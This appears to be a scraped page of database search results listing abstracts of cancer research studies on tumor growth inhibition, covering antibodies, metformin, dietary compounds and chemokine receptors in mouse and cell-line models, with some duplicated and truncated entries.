18. Nuclear Factor κB is Required for Tumor Growth Inhibition Mediated by Enavatuzumab (PDL192), a Humanized Monoclonal Antibody to TweakR. Science.gov (United States) Purcell, James W; Kim, Han K; Tanlimco, Sonia G; Doan, Minhtam; Fox, Melvin; Lambert, Peter; Chao, Debra T; Sho, Mien; Wilson, Keith E; Starling, Gary C; Culp, Patricia A 2014-01-01 TweakR is a TNF receptor family member, whose natural ligand is the multifunctional cytokine TWEAK. The growth inhibitory activity observed following TweakR stimulation in certain cancer cell lines and the overexpression of TweakR in many solid tumor types led to the development of enavatuzumab (PDL192), a humanized IgG1 monoclonal antibody to TweakR. The purpose of this study was to determine the mechanism of action of enavatuzumab's tumor growth inhibition and to provide insight into the biology behind TweakR as a cancer therapeutic target. A panel of 105 cancer lines was treated with enavatuzumab in vitro; and 29 cell lines of varying solid tumor backgrounds had >25% growth inhibition in response to the antibody. Treatment of sensitive cell lines with enavatuzumab resulted in the in vitro and in vivo (xenograft) activation of both classical (p50, p65) and non-classical (p52, RelB) NFκB pathways. Using NFκB DNA binding functional ELISAs and microarray analysis, we observed increased activation of NFκB subunits and NFκB-regulated genes in sensitive cells over that observed in resistant cell lines. Inhibiting NFκB subunits (p50, p65, RelB, p52) and upstream kinases (IKK1, IKK2) with siRNA and chemical inhibitors consistently blocked enavatuzumab's activity. Furthermore, enavatuzumab treatment resulted in NFκB-dependent reduction in cell division as seen by the activation of the cell cycle inhibitor p21 both in vitro and in vivo. The finding that NFκB drives the growth inhibitory activity of enavatuzumab suggests that targeting TweakR with enavatuzumab may represent a novel cancer treatment strategy. 19. Nuclear Factor κB is required for tumor growth inhibition mediated by enavatuzumab (PDL192, a humanized monoclonal antibody to TweakR Directory of Open Access Journals (Sweden) James W. Purcell 2014-01-01 Full Text Available TweakR is a TNF receptor family member, whose natural ligand is the multifunctional cytokine TWEAK. The growth inhibitory activity observed following TweakR stimulation in certain cancer cell lines and the overexpression of TweakR in many solid tumor types led to the development of enavatuzumab (PDL192, a humanized IgG1 monoclonal antibody to TweakR. The purpose of this study was to determine the mechanism of action of enavatuzumab’s tumor growth inhibition and to provide insight into the biology behind TweakR as a cancer therapeutic target. A panel of 105 cancer lines was treated with enavatuzumab in vitro; and 29 cell lines of varying solid tumor backgrounds had >25% growth inhibition in response to the antibody. Treatment of sensitive cell lines with enavatuzumab resulted in the in vitro and in vivo (xenograft activation of both classical (p50, p65 and non-classical (p52, RelB NFκB pathways. Using NFκB DNA binding functional ELISAs and microarray analysis, we observed increased activation of NFκB subunits and NFκB regulated genes in sensitive cells over that observed in resistant cell lines. Inhibiting NFκB subunits (p50, p65, RelB, p52 and upstream kinases (IKK1, IKK2 with siRNA and chemical inhibitors consistently blocked enavatuzumab’s activity. Furthermore, enavatuzumab treatment resulted in NFκB-dependent reduction in cell-division as seen by the activation of the cell cycle inhibitor p21 both in vitro and in vivo. The finding that NFκB drives the growth inhibitory activity of enavatuzumab suggests that targeting TweakR with enavatuzumab may represent a novel cancer treatment strategy. 20. The isoflavone metabolite 6-methoxyequol inhibits angiogenesis and suppresses tumor growth Directory of Open Access Journals (Sweden) Bellou Sofia 2012-05-01 Full Text Available Abstract Background Increased consumption of plant-based diets has been linked to the presence of certain phytochemicals, including polyphenols such as flavonoids. Several of these compounds exert their protective effect via inhibition of tumor angiogenesis. Identification of additional phytochemicals with potential antiangiogenic activity is important not only for understanding the mechanism of the preventive effect, but also for developing novel therapeutic interventions. Results In an attempt to identify phytochemicals contributing to the well-documented preventive effect of plant-based diets on cancer incidence and mortality, we have screened a set of hitherto untested phytoestrogen metabolites concerning their anti-angiogenic effect, using endothelial cell proliferation as an end point. Here, we show that a novel phytoestrogen, 6-methoxyequol (6-ME, inhibited VEGF-induced proliferation of human umbilical vein endothelial cells (HUVE cells, whereas VEGF-induced migration and survival of HUVE cells remained unaffected. In addition, 6-ME inhibited FGF-2-induced proliferation of bovine brain capillary endothelial (BBCE cells. In line with its role in cell proliferation, 6-ME inhibited VEGF-induced phosphorylation of ERK1/2 MAPK, the key cascade responsible for VEGF-induced proliferation of endothelial cells. In this context, 6-ME inhibited in a dose dependent manner the phosphorylation of MEK1/2, the only known upstream activator of ERK1/2. 6-ME did not alter VEGF-induced phosphorylation of p38 MAPK or AKT, compatible with the lack of effect on VEGF-induced migration and survival of endothelial cells. Peri-tumor injection of 6-ME in A-431 xenograft tumors resulted in reduced tumor growth with suppressed neovasularization compared to vehicle controls (P  Conclusions 6-ME inhibits VEGF- and FGF2-induced proliferation of ECs by targeting the phosphorylation of MEK1/2 and it downstream substrate ERK1/2, both key components of the mitogenic MAPK 1. An MMP13-selective inhibitor delays primary tumor growth and the onset of tumor-associated osteolytic lesions in experimental models of breast cancer. Directory of Open Access Journals (Sweden) Manisha Shah Full Text Available We investigated the effects of the matrix metalloproteinase 13 (MMP13-selective inhibitor, 5-(4-{4-[4-(4-fluorophenyl-1,3-oxazol-2-yl]phenoxy}phenoxy-5-(2-methoxyethyl pyrimidine-2,4,6(1H,3H,5H-trione (Cmpd-1, on the primary tumor growth and breast cancer-associated bone remodeling using xenograft and syngeneic mouse models. We used human breast cancer MDA-MB-231 cells inoculated into the mammary fat pad and left ventricle of BALB/c Nu/Nu mice, respectively, and spontaneously metastasizing 4T1.2-Luc mouse mammary cells inoculated into mammary fat pad of BALB/c mice. In a prevention setting, treatment with Cmpd-1 markedly delayed the growth of primary tumors in both models, and reduced the onset and severity of osteolytic lesions in the MDA-MB-231 intracardiac model. Intervention treatment with Cmpd-1 on established MDA-MB-231 primary tumors also significantly inhibited subsequent growth. In contrast, no effects of Cmpd-1 were observed on soft organ metastatic burden following intracardiac or mammary fat pad inoculations of MDA-MB-231 and 4T1.2-Luc cells respectively. MMP13 immunostaining of clinical primary breast tumors and experimental mice tumors revealed intra-tumoral and stromal expression in most tumors, and vasculature expression in all. MMP13 was also detected in osteoblasts in clinical samples of breast-to-bone metastases. The data suggest that MMP13-selective inhibitors, which lack musculoskeletal side effects, may have therapeutic potential both in primary breast cancer and cancer-induced bone osteolysis. 2. Soy isoflavone exposure through all life stages accelerates 17β-estradiol-induced mammary tumor onset and growth, yet reduces tumor burden, in ACI rats. Science.gov (United States) Möller, Frank Josef; Pemp, Daniela; Soukup, Sebastian T; Wende, Kathleen; Zhang, Xiajie; Zierau, Oliver; Muders, Michael H; Bosland, Maarten C; Kulling, Sabine E; Lehmann, Leane; Vollmer, Günter 2016-08-01 There is an ongoing debate whether the intake of soy-derived isoflavones (sISO) mediates beneficial or adverse effects with regard to breast cancer risk. Therefore, we investigated whether nutritional exposure to a sISO-enriched diet from conception until adulthood impacts on 17β-estradiol (E2)-induced carcinogenesis in the rat mammary gland (MG). August-Copenhagen-Irish (ACI) rats were exposed to dietary sISO from conception until postnatal day 285. Silastic tubes containing E2 were used to induce MG tumorigenesis. Body weight, food intake, and tumor growth were recorded weekly. At necropsy, the number, position, size, and weight of each tumor were determined. Plasma samples underwent sISO analysis, and the morphology of MG was analyzed. Tumor incidence and multiplicity were reduced by 20 and 56 %, respectively, in the sISO-exposed rats compared to the control rats. Time-to-tumor onset was shortened from 25 to 20 weeks, and larger tumors developed in the sISO-exposed rats. The histological phenotype of the MG tumors was independent of the sISO diet received, and it included both comedo and cribriform phenotypes. Morphological analyses of the whole-mounted MGs also showed no diet-dependent differences. Lifelong exposure to sISO reduced the overall incidence of MG carcinomas in ACI rats, although the time-to-tumor was significantly shortened. PMID:26861028 3. Investigation of the effects of long-term infusion of 125I-iododeoxyuridine on tumor growth in mice (solid mouse tumor sarcoma-180) International Nuclear Information System (INIS) The present experiments were designed to test the therapeutic qualification of 125I incorporated in DNA of tumor cells. The tumor-host system used was the solid mouse tumor sarcoma-180 growing on female albino mice (NMRI). A device was built which makes it possible to intravenously infuse tumor bearing mice with solutions of 125IUdR for several weeks. Three or, respectively, 5 days before the onset of the infusions the mice were inocculated into the right hind leg with 3x105 tumor cells in 0.1 ml physiological salt solution. The total activity administered per mouse was 100 μCi infused during a period of 10 days. After termination of the infusions tumor sizes and retained radioactivities were measured every 5 days until death of the animals occured. In comparison with tumors of control animals tumors of mice infused with 125IUdR showed a mean retardation in growth of about 27% of the volumes of control tumors during the total period of post-infusion observation (25 days). Extension of life expectancy and an increase of the rate of final tumor regression did not occur. Likewise, no significant differences were observed between tumors which were 3 or 5 days old on the first day of infusion. After termination of the infusions the residual whole-body radioactivity per mouse was about 1% of the total activity infused per animal. This was in good agreement with calculations considering rates of incorporation and excretion and confirmed earlier assumptions that only about 5% of the administered IUdR is incorporated initially. The number further confirmed that, during the first 10 days after incorporation, the daily loss of activity - due to cell death - is about 30%. Control animals without tumors showed a faster decrease of incorporated activity or, respectively, loss of cells than tumor bearing mice. This difference could in part be explained by an exhaution of the short-lived cell populations of the reticulo-endothelial system of tumor bearing animals. (orig./MG) 4. Combination radiofrequency (RF) ablation and IV liposomal heat shock protein suppression: Reduced tumor growth and increased animal endpoint survival in a small animal tumor model Science.gov (United States) Yang, Wei; Ahmed, Muneeb; Tasawwar, Beenish; Levchenko, Tatynana; Sawant, Rupa R.; Torchilin, Vladimir; Goldberg, S. Nahum 2012-01-01 Background To investigate the effect of IV liposomal quercetin (a known down-regulator of heat shock proteins) alone and with liposomal doxorubicin on tumor growth and end-point survival when combined with radiofrequency (RF) tumor ablation in a rat tumor model. Methods Solitary subcutaneous R3230 mammary adenocarcinoma tumors (1.3–1.5 cm) were implanted in 48 female Fischer rats. Initially, 32 tumors (n=8, each group) were randomized into four experimental groups: (a) conventional monopolar RF alone (70°C for 5 min), (b) IV liposomal quercetin alone (1 mg/kg), (c) IV liposomal quercetin followed 24hr later with RF, and (d) no treatment. Next, 16 additional tumors were randomized into two groups (n=8, each) that received a combined RF and liposomal doxorubicin (15 min post-RF, 8 mg/kg) either with or without liposomal quercetin. Kaplan-Meier survival analysis was performed using a tumor diameter of 3.0 cm as the defined survival endpoint. Results Differences in endpoint survival and tumor doubling time among the groups were highly significant (P<0.001). Endpoint survivals were 12.5±2.2 days for the control group, 16.6±2.9 days for tumors treated with RF alone, 15.5±2.1days for tumors treated with liposomal quercetin alone, and 22.0±3.9 days with combined RF and quercetin. Additionally, combination quercetin/RF/doxorubicin therapy resulted in the longest survival (48.3±20.4 days), followed by RF/doxorubicin (29.9±3.8 days). Conclusions IV liposomal quercetin in combination with RF ablation reduces tumor growth rates and improves animal endpoint survival. Further increases in endpoint survival can be seen by adding an additional anti-tumor adjuvant agent liposomal doxorubicin. This suggests that targeting several post-ablation processes with multi-drug nanotherapies can increase overall ablation efficacy. PMID:22230341 5. Inhibitory effect of celecoxib combined with cisplatin on growth of human tongue squamous carcinoma Tca8113 cell xenograft tumor Institute of Scientific and Technical Information of China (English) Weizhong Li; Xiaoyan Wang; Zuguo Li; Yanqing Ding 2010-01-01 Objective:The aim of this study was to observe the inhibitory effect of application of COX-2 inhibitor,celecoxib,combined with cisplatin on the growth of human tongue squamous carcinoma Tca8113 cell xenograft by animal experiment.Methods:The nude mice were transplanted subcutaneously with Tca 8113 cells,and then were administrated with celecoxib,cisplatin or celecoxib combined with cisplatin respectively,and were sacrificed after 35 days.The weight of xenograft was measured to calculate the tumor inhibition rate.The histological change was studied under light and electron microscope.The COX-2 protein expression was observed by immunohistological staining.And the COX-2 mRNA expression was determined by RT-PCR.Results:Celecoxib,the COX-2 inhibitor,could not only inhibit the growth of Tca8113 cell xenograft tumor and COX-2 protein expression,but also enhance the inhibitory effect cisplatin on xenograft tumor growth significantly.The tumor inhibition rates of celecoxib group,cisplatin group and celecoxib plus cisplatin group were 15.63%,37.50% and 82.81%respectively that was statistically significant compared to control group(P < 0.01).The combined application of celecoxib and dsplatin could inhibit tumor growth more significantly than that of separated application(P < 0.01).The inhibitory effect of celecoxib on COX-2 mRNA expression of Tca 8113 cell was weaker and not significant(P= 0.073).Conclusion:Celecoxib can not only inhibit xenograft tumor growth in nude mice,but also enhance the inhibitory effect of CDDP on Tca 8113 trans planted tumor growth in nude mice.The mechanism maybe related to inhibition of COX-2 protein expression,which offers beneficial reference to further explore the mechanism between inhibition of COX-2 enzyme activity and prevention of head and neck tumor. 6. ING1 and 5-Azacytidine Act Synergistically to Block Breast Cancer Cell Growth OpenAIRE Satbir Thakur; Xiaolan Feng; Zhong Qiao Shi; Amudha Ganapathy; Manoj Kumar Mishra; Peter Atadja; Don Morris; Karl Riabowol 2012-01-01 BACKGROUND: Inhibitor of Growth (ING) proteins are epigenetic "readers" that recognize trimethylated lysine 4 of histone H3 (H3K4Me3) and target histone acetyl transferase (HAT) and histone deacetylase (HDAC) complexes to chromatin. METHODS AND PRINCIPAL FINDINGS: Here we asked whether dysregulating two epigenetic pathways with chemical inhibitors showed synergistic effects on breast cancer cell line killing. We also tested whether ING1 could synergize better with chemotherapeutics that targe... 7. A RNA antagonist of hypoxia-inducible factor-1alpha, EZN-2968, inhibits tumor cell growth DEFF Research Database (Denmark) Greenberger, Lee M; Horak, Ivan D; Filpula, David; 2008-01-01 Hypoxia-inducible factor-1 (HIF-1) is a transcription factor that plays a critical role in angiogenesis, survival, metastasis, drug resistance, and glucose metabolism. Elevated expression of the alpha-subunit of HIF-1 (HIF-1alpha), which occurs in response to hypoxia or activation of growth factor...... pathways, is associated with poor prognosis in many types of cancer. Therefore, down-regulation of HIF-1alpha protein by RNA antagonists may control cancer growth. EZN-2968 is a RNA antagonist composed of third-generation oligonucleotide, locked nucleic acid, technology that specifically binds and inhibits...... the expression of HIF-1alpha mRNA. In vitro, in human prostate (15PC3, PC3, and DU145) and glioblastoma (U373) cells, EZN-2968 induced a potent, selective, and durable antagonism of HIF-1 mRNA and protein expression (IC(50), 1-5 nmol/L) under normoxic and hypoxic conditions associated with inhibition of tumor... 8. Nerve growth factor receptor negates the tumor suppressor p53 as a feedback regulator Science.gov (United States) Zhou, Xiang; Hao, Qian; Liao, Peng; Luo, Shiwen; Zhang, Minhong; Hu, Guohui; Liu, Hongbing; Zhang, Yiwei; Cao, Bo; Baddoo, Melody; Flemington, Erik K; Zeng, Shelya X; Lu, Hua 2016-01-01 Cancer develops and progresses often by inactivating p53. Here, we unveil nerve growth factor receptor (NGFR, p75NTR or CD271) as a novel p53 inactivator. p53 activates NGFR transcription, whereas NGFR inactivates p53 by promoting its MDM2-mediated ubiquitin-dependent proteolysis and by directly binding to its central DNA binding domain and preventing its DNA-binding activity. Inversely, NGFR ablation activates p53, consequently inducing apoptosis, attenuating survival, and reducing clonogenic capability of cancer cells, as well as sensitizing human cancer cells to chemotherapeutic agents that induce p53 and suppressing mouse xenograft tumor growth. NGFR is highly expressed in human glioblastomas, and its gene is often amplified in breast cancers with wild type p53. Altogether, our results demonstrate that cancers hijack NGFR as an oncogenic inhibitor of p53. DOI: http://dx.doi.org/10.7554/eLife.15099.001 PMID:27282385 9. An Atypical Acidophil Cell Line Tumor Showing Focal Differentiation Toward Both Growth Hormone and Prolactin Cells. Science.gov (United States) Naritaka, Heiji; Kameya, Toru; Sato, Yuichi; Furuhata, Shigeru; Okui, Junichi; Kamiguchi, Yuji; Otani, Mitsuhiro; Toya, Shigeo 1995-01-01 We report a case of giant pituitary adenoma in a child. Computerized tomography (CT) scan revealed a suprasellar extension tumor mass with hydrocephalus. There was no clinical evidence of acromegaly, gigantism, and other hormonal symptoms. Endocrinologic studies showed within normal value of serum growth hormone (GH: 4.2 ng/mL) and slightly increased levels of prolactin (PRL: 78 ng/mL) and other pituitary hormone values were within normal range. On suppression test by bromocryptin, both GH and PRL levels were reduced. Histopathological findings revealed that the tumor consisted of predominantly chromophobic and partly eosinophilic adenoma cells. Immunohistochemical staining detected GH and PRL in a small number of distinctly different adenoma cells, respectively. Nonradioactive in situ hybridization (ISH) also showed GH and PRL mRNA expression in identical immunopositive cells. Electron microscopy (EM) demonstrated adenoma cells with moderate or small numbers of two types of dense granules and without fibrous body which are characteristic of sparsely granulated GH-cell adenomas. The adenoma does not fit into any classification but may be an atypical acidophil cell line tumor showing focal differentiation toward both GH and PRL cells. PMID:12114745 10. A case of neuroendocrine tumor G1 with unique histopathological growth progress Institute of Scientific and Technical Information of China (English) Misuzu; Hirai; Kenshi; Matsumoto; Hiroya; Ueyama; Hirohumi; Fukushima; Takashi; Murakami; Hitoshi; Sasaki; Akihito; Nagahara; Takashi; Yao; Sumio; Watanabe 2013-01-01 A gastric neuroendocrine tumor(NET)is generated from deep within the tissue mucosal layers.In many cases,NETs are discovered as submucosal tumor(SMT)-like structures by forming a tumor mass.This case has a clear mucosal demarcation line and developed like a polyp.A dilated blood vessel was found on the surface.The mass lacked the yellow color characteristic of NETs,and a SMT-like form was evident.Therefore,a nonspecific epithelial lesion was suspected and we performed endoscopy with magnifying narrowband imaging(M-NBI).However,this approach did not lead to the diagnosis,as we diagnosed the lesion as a NET by biopsy examination.The lesion was excised by endoscopic submucosal dissection.The histopathological examination proved that the lesion was a polypoid lesion although it was also a NET because the tumorcells extended upward through the normal gland ducts scatteredly.To our knowledge,there is no previous report of NET G1 with such unique histopathological growth progress and macroscopic appearance shown by detailed examination using endoscopy with M-NBI. 11. Circulating lymphangiogenic growth factors in gastrointestinal solid tumors, could they be of any clinical significance? Institute of Scientific and Technical Information of China (English) Theodore D Tsirlis; George Papastratis; Kyriaki Masselou; Christos Tsigris; Antonis Papachristodoulou; Alkiviadis Kostakis; Nikolaos I Nikiteas 2008-01-01 Metastasis is the principal cause of cancer mortality,with the lymphatic system being the first route of tumor dissemination.The glycoproteins VEGF-C and VEGF-D are members of the vascular endothelial growth factor (VEGF)family,whose role has been recently recognized as lymphatic system regulators during embryogenesis and in pathological processes such as inflammation,lymphatic system disorders and malignant tumor metastasis.They are ligands for the VEGFR-3 receptor on the membrane of the lymphatic endothelial cell,resulting in dilatation of existing lymphatic vessels as well as in vegetation of new ones (lymphangiogenesis).Their determination is feasible in the circulating blood by immunoabsorption and in the tissue specimen by immunohistochemistry and reverse transcription polymerase chain reaction (RT-PCR).Experimental and clinicopathological studies have linked the VEGF-C,VEGF-D/VEGFR3 axis to lymphatic spread as well as to the clinical outcome in several human solid tumors.The majority of these data are derived from surgical specimens and malignant cell series,rendering their clinical application questionable,due to subjectivity factors and post-treatment quantification.In an effort to overcome these drawbacks,an alternative method of immunodetection of the circulating levels of these molecules has been used in studies on gastric,esophageal and colorectal cancer.Their results denote that quantification of VEGF-C and VEGF-D in blood samples could serve as lymph node metastasis predictive biomarkers and contribute to preoperative staging of gastrointestinal malignancies. 12. Abalone visceral extract inhibit tumor growth and metastasis by modulating Cox-2 levels and CD8+ T cell activity Directory of Open Access Journals (Sweden) II Kim Jae 2010-10-01 Full Text Available Abstract Background Abalone has long been used as a valuable food source in East Asian countries. Although the nutritional importance of abalone has been reported through in vitro and in vivo studies, there is little evidence about the potential anti-tumor effects of abalone visceral extract. The aim of the present study is to examine anti-tumor efficacy of abalone visceral extract and to elucidate its working mechanism. Methods In the present study, we used breast cancer model using BALB/c mouse-derived 4T1 mammary carcinoma and investigated the effect of abalone visceral extract on tumor development. Inhibitory effect against tumor metastasis was assessed by histopathology of lungs. Cox-2 productions by primary and secondary tumor were measured by real-time RT-PCR and immunoblotting (IB. Proliferation assay based on [3H]-thymidine incorporation and measurement of cytokines and effector molecules by RT-PCR were used to confirm tumor suppression efficacy of abalone visceral extract by modulating cytolytic CD8+ T cells. The cytotoxicity of CD8+ T cell was compared by JAM test. Results Oral administration of abalone visceral extract reduced tumor growth (tumor volume and weight and showed reduced metastasis as confirmed by decreased level of splenomegaly (spleen size and weight and histological analysis of the lung metastasis (gross analysis and histological staining. Reduced expression of Cox-2 (mRNA and protein from primary tumor and metastasized lung was also detected. In addition, treatment of abalone visceral extract increased anti-tumor activities of CD8+ T cells by increasing the proliferation capacity and their cytolytic activity. Conclusions Our results suggest that abalone visceral extract has anti-tumor effects by suppressing tumor growth and lung metastasis through decreasing Cox-2 expression level as well as promoting proliferation and cytolytic function of CD8+ T cells. 13. Slit2 promotes tumor growth and invasion in chemically induced skin carcinogenesis. Science.gov (United States) Qi, Cuiling; Lan, Haimei; Ye, Jie; Li, Weidong; Wei, Ping; Yang, Yang; Guo, Simei; Lan, Tian; Li, Jiangchao; Zhang, Qianqian; He, Xiaodong; Wang, Lijing 2014-07-01 Slit, a neuronal guidance cue, binds to Roundabout (Robo) receptors to modulate neuronal, leukocytic, and endothelial migration. Slit has been reported to have an important effect on tumor growth and metastasis. In the current study, we evaluated the role of Slit2 in skin tumor growth and invasion in mice using a two-step chemical carcinogenesis protocol. We found that Slit2 expression correlated with the loss of basement membrane in the samples of human skin squamous cell carcinoma at different stages of disease progression. Slit2-Tg mice developed significantly more skin tumors than wild-type mice. Furthermore, the skin tumors that occurred in Slit2-Tg mice were significantly larger than those in the wild-type mice 10 weeks after 7,12-dimethylbenz[a]anthracene initiation until the end of the experiment. We also found that pathological development of the wild-type mice was delayed compared with that of Slit2-Tg mice. To further investigate the mechanism of increasing tumors in Slit2-Tg mice, we analyzed the expression of 5-bromo-2'-deoxyuridine (BrdU) in mouse skin lesions and found that the number of BrdU-positive cells and microvessel density in skin lesions were significantly higher in Slit2-Tg mice than in wild-type mice. Histological staining of PAS and type IV collagen and the colocalization of Slit2 and type IV collagen demonstrated varying degrees of loss of the basement membrane in the skin lesions from Slit2-Tg mice that were at the stage of carcinoma in situ. However, the basement membrane was well defined in the wild-type mice. In addition, MMP2, but not MMP9, was upregulated in the skin tissue of Slit2-Tg mice. Interruption of Slit2-Robo1 signaling by the antibody R5 significantly repressed the invasive capability of the squamous cell carcinoma cell line A431. Taken together, our findings reveal that Slit2 promotes DMBA/TPA-induced skin tumorigenesis by increasing cell proliferation, microvessel density, and invasive behavior of cutaneous squamous 14. A low carbohydrate, high protein diet suppresses intratumoral androgen synthesis and slows castration-resistant prostate tumor growth in mice. Science.gov (United States) Fokidis, H Bobby; Yieng Chin, Mei; Ho, Victor W; Adomat, Hans H; Soma, Kiran K; Fazli, Ladan; Nip, Ka Mun; Cox, Michael; Krystal, Gerald; Zoubeidi, Amina; Tomlinson Guns, Emma S 2015-06-01 Dietary factors continue to preside as dominant influences in prostate cancer prevalence and progression-free survival following primary treatment. We investigated the influence of a low carbohydrate diet, compared to a typical Western diet, on prostate cancer (PCa) tumor growth in vivo. LNCaP xenograft tumor growth was studied in both intact and castrated mice, representing a more advanced castration resistant PCa (CRPC). No differences in LNCaP tumor progression (total tumor volume) with diet was observed for intact mice (P = 0.471) however, castrated mice on the Low Carb diet saw a statistically significant reduction in tumor growth rate compared with Western diet fed mice (P = 0.017). No correlation with serum PSA was observed. Steroid profiles, alongside serum cholesterol and cholesteryl ester levels, were significantly altered by both diet and castration. Specifically, DHT concentration with the Low Carb diet was 58% that of the CRPC-bearing mice on the Western diet. Enzymes in the steroidogenesis pathway were directly impacted and tumors isolated from intact mice on the Low Carb diet had higher AKR1C3 protein levels and lower HSD17B2 protein levels than intact mice on the Western diet (ARK1C3: P = 0.074; HSD17B2: P = 0.091, with α = 0.1). In contrast, CRPC tumors from mice on Low Carb diets had higher concentrations of both HSD17B2 (P = 0.016) and SRD5A1 (P = 0.058 with α = 0.1) enzymes. There was no correlation between tumor growth in castrated mice for Low Carb diet versus Western diet and (a) serum insulin (b) GH serum levels (c) insulin receptor (IR) or (d) IGF-1R in tumor tissue. Intact mice fed Western diet had higher serum insulin which was associated with significantly higher blood glucose and tumor tissue IR. We conclude that both diet and castration have a significant impact on the endocrinology of mice bearing LNCaP xenograft tumors. The observed effects of diet on cholesterol and steroid regulation impact tumor tissue DHT specifically and are 15. A low carbohydrate, high protein diet suppresses intratumoral androgen synthesis and slows castration-resistant prostate tumor growth in mice. Science.gov (United States) Fokidis, H Bobby; Yieng Chin, Mei; Ho, Victor W; Adomat, Hans H; Soma, Kiran K; Fazli, Ladan; Nip, Ka Mun; Cox, Michael; Krystal, Gerald; Zoubeidi, Amina; Tomlinson Guns, Emma S 2015-06-01 Dietary factors continue to preside as dominant influences in prostate cancer prevalence and progression-free survival following primary treatment. We investigated the influence of a low carbohydrate diet, compared to a typical Western diet, on prostate cancer (PCa) tumor growth in vivo. LNCaP xenograft tumor growth was studied in both intact and castrated mice, representing a more advanced castration resistant PCa (CRPC). No differences in LNCaP tumor progression (total tumor volume) with diet was observed for intact mice (P = 0.471) however, castrated mice on the Low Carb diet saw a statistically significant reduction in tumor growth rate compared with Western diet fed mice (P = 0.017). No correlation with serum PSA was observed. Steroid profiles, alongside serum cholesterol and cholesteryl ester levels, were significantly altered by both diet and castration. Specifically, DHT concentration with the Low Carb diet was 58% that of the CRPC-bearing mice on the Western diet. Enzymes in the steroidogenesis pathway were directly impacted and tumors isolated from intact mice on the Low Carb diet had higher AKR1C3 protein levels and lower HSD17B2 protein levels than intact mice on the Western diet (ARK1C3: P = 0.074; HSD17B2: P = 0.091, with α = 0.1). In contrast, CRPC tumors from mice on Low Carb diets had higher concentrations of both HSD17B2 (P = 0.016) and SRD5A1 (P = 0.058 with α = 0.1) enzymes. There was no correlation between tumor growth in castrated mice for Low Carb diet versus Western diet and (a) serum insulin (b) GH serum levels (c) insulin receptor (IR) or (d) IGF-1R in tumor tissue. Intact mice fed Western diet had higher serum insulin which was associated with significantly higher blood glucose and tumor tissue IR. We conclude that both diet and castration have a significant impact on the endocrinology of mice bearing LNCaP xenograft tumors. The observed effects of diet on cholesterol and steroid regulation impact tumor tissue DHT specifically and are 16. A Potent HER3 Monoclonal Antibody That Blocks Both Ligand-Dependent and -Independent Activities: Differential Impacts of PTEN Status on Tumor Response. Science.gov (United States) Xiao, Zhan; Carrasco, Rosa A; Schifferli, Kevin; Kinneer, Krista; Tammali, Ravinder; Chen, Hong; Rothstein, Ray; Wetzel, Leslie; Yang, Chunning; Chowdhury, Partha; Tsui, Ping; Steiner, Philipp; Jallal, Bahija; Herbst, Ronald; Hollingsworth, Robert E; Tice, David A 2016-04-01 HER3/ERBB3 is a kinase-deficient member of the EGFR family receptor tyrosine kinases (RTK) that is broadly expressed and activated in human cancers. HER3 is a compelling cancer target due to its important role in activation of the oncogenic PI3K/AKT pathway. It has also been demonstrated to confer tumor resistance to a variety of cancer therapies, especially targeted drugs against EGFR and HER2. HER3 can be activated by its ligand (heregulin/HRG), which induces HER3 heterodimerization with EGFR, HER2, or other RTKs. Alternatively, HER3 can be activated in a ligand-independent manner through heterodimerization with HER2 in HER2-amplified cells. We developed a fully human mAb against HER3 (KTN3379) that efficiently suppressed HER3 activity in both ligand-dependent and independent settings. Correspondingly, KTN3379 inhibited tumor growth in divergent tumor models driven by either ligand-dependent or independent mechanisms in vitro and in vivo Most intriguingly, while investigating the mechanistic underpinnings of tumor response to KTN3379, we discovered an interesting dichotomy in that PTEN loss, a frequently occurring oncogenic lesion in a broad range of cancer types, substantially blunted the tumor response in HER2-amplified cancer, but not in the ligand-driven cancer. To our knowledge, this represents the first study ascertaining the impact of PTEN loss on the antitumor efficacy of a HER3 mAb. KTN3379 is currently undergoing a phase Ib clinical trial in patients with advanced solid tumors. Our current study may help us optimize patient selection schemes for KTN3379 to maximize its clinical benefits. Mol Cancer Ther; 15(4); 689-701. ©2016 AACR. PMID:26880266 17. Metformin inhibits pancreatic cancer cell and tumor growth and downregulates Sp transcription factors. Science.gov (United States) Nair, Vijayalekshmi; Pathi, Satya; Jutooru, Indira; Sreevalsan, Sandeep; Basha, Riyaz; Abdelrahim, Maen; Samudio, Ismael; Safe, Stephen 2013-12-01 Metformin is a widely used antidiabetic drug, and epidemiology studies for pancreatic and other cancers indicate that metformin exhibits both chemopreventive and chemotherapeutic activities. Several metformin-induced responses and genes are similar to those observed after knockdown of specificity protein (Sp) transcription factors Sp1, Sp3 and Sp4 by RNA interference, and we hypothesized that the mechanism of action of metformin in pancreatic cancer cells was due, in part, to downregulation of Sp transcription factors. Treatment of Panc1, L3.6pL and Panc28 pancreatic cancer cells with metformin downregulated Sp1, Sp3 and Sp4 proteins and several pro-oncogenic Sp-regulated genes including bcl-2, survivin, cyclin D1, vascular endothelial growth factor and its receptor, and fatty acid synthase. Metformin induced proteasome-dependent degradation of Sps in L3.6pL and Panc28 cells, whereas in Panc1 cells metformin decreased microRNA-27a and induced the Sp repressor, ZBTB10, and disruption of miR-27a:ZBTB10 by metformin was phosphatase dependent. Metformin also inhibited pancreatic tumor growth and downregulated Sp1, Sp3 and Sp4 in tumors in an orthotopic model where L3.6pL cells were injected directly into the pancreas. The results demonstrate for the first time that the anticancer activities of metformin are also due, in part, to downregulation of Sp transcription factors and Sp-regulated genes. PMID:23803693 18. Role of chemokine receptor CXCR2 expression in mammary tumor growth, angiogenesis and metastasis Directory of Open Access Journals (Sweden) Kalyan C Nannuru 2011-01-01 Full Text Available Background: Chemokines and their receptors have long been known to regulate metastasis in various cancers. Previous studies have shown that CXCR2 expression is upregulated in malignant breast cancer tissues but not in benign ductal epithelial samples. The functional role of CXCR2 in the metastatic phenotype of breast cancer still remains unclear. We hypothesize that the chemokine receptor, CXCR2, mediates tumor cell invasion and migration and promotes metastasis in breast cancer. The objective of this study is to investigate the potential role of CXCR2 in the metastatic phenotype of mouse mammary tumor cells. Materials and Methods: We evaluated the functional role of CXCR2 in breast cancer by stably downregulating the expression of CXCR2 in metastatic mammary tumor cell lines Cl66 and 4T1, using short hairpin RNA (shRNA. The effects of CXCR2 downregulation on tumor growth, invasion and metastatic potential were analyzed in vitro and in vivo. Results: We demonstrated knock down of CXCR2 in Cl66 and 4T1 cells (Cl66-shCXCR2 and 4T1-shCXCR2 cells by reverse transcriptase polymerase chain reaction (RT-PCR at the transcriptional level and by immunohistochemistry at the protein level. We did not observe a significant difference in in vitro cell proliferation between vector control and CXCR2 knock-down Cl66 or 4T1 cells. Next, we examined the invasive potential of Cl66-shCXCR2 cells by in vitro Matrigel invasion 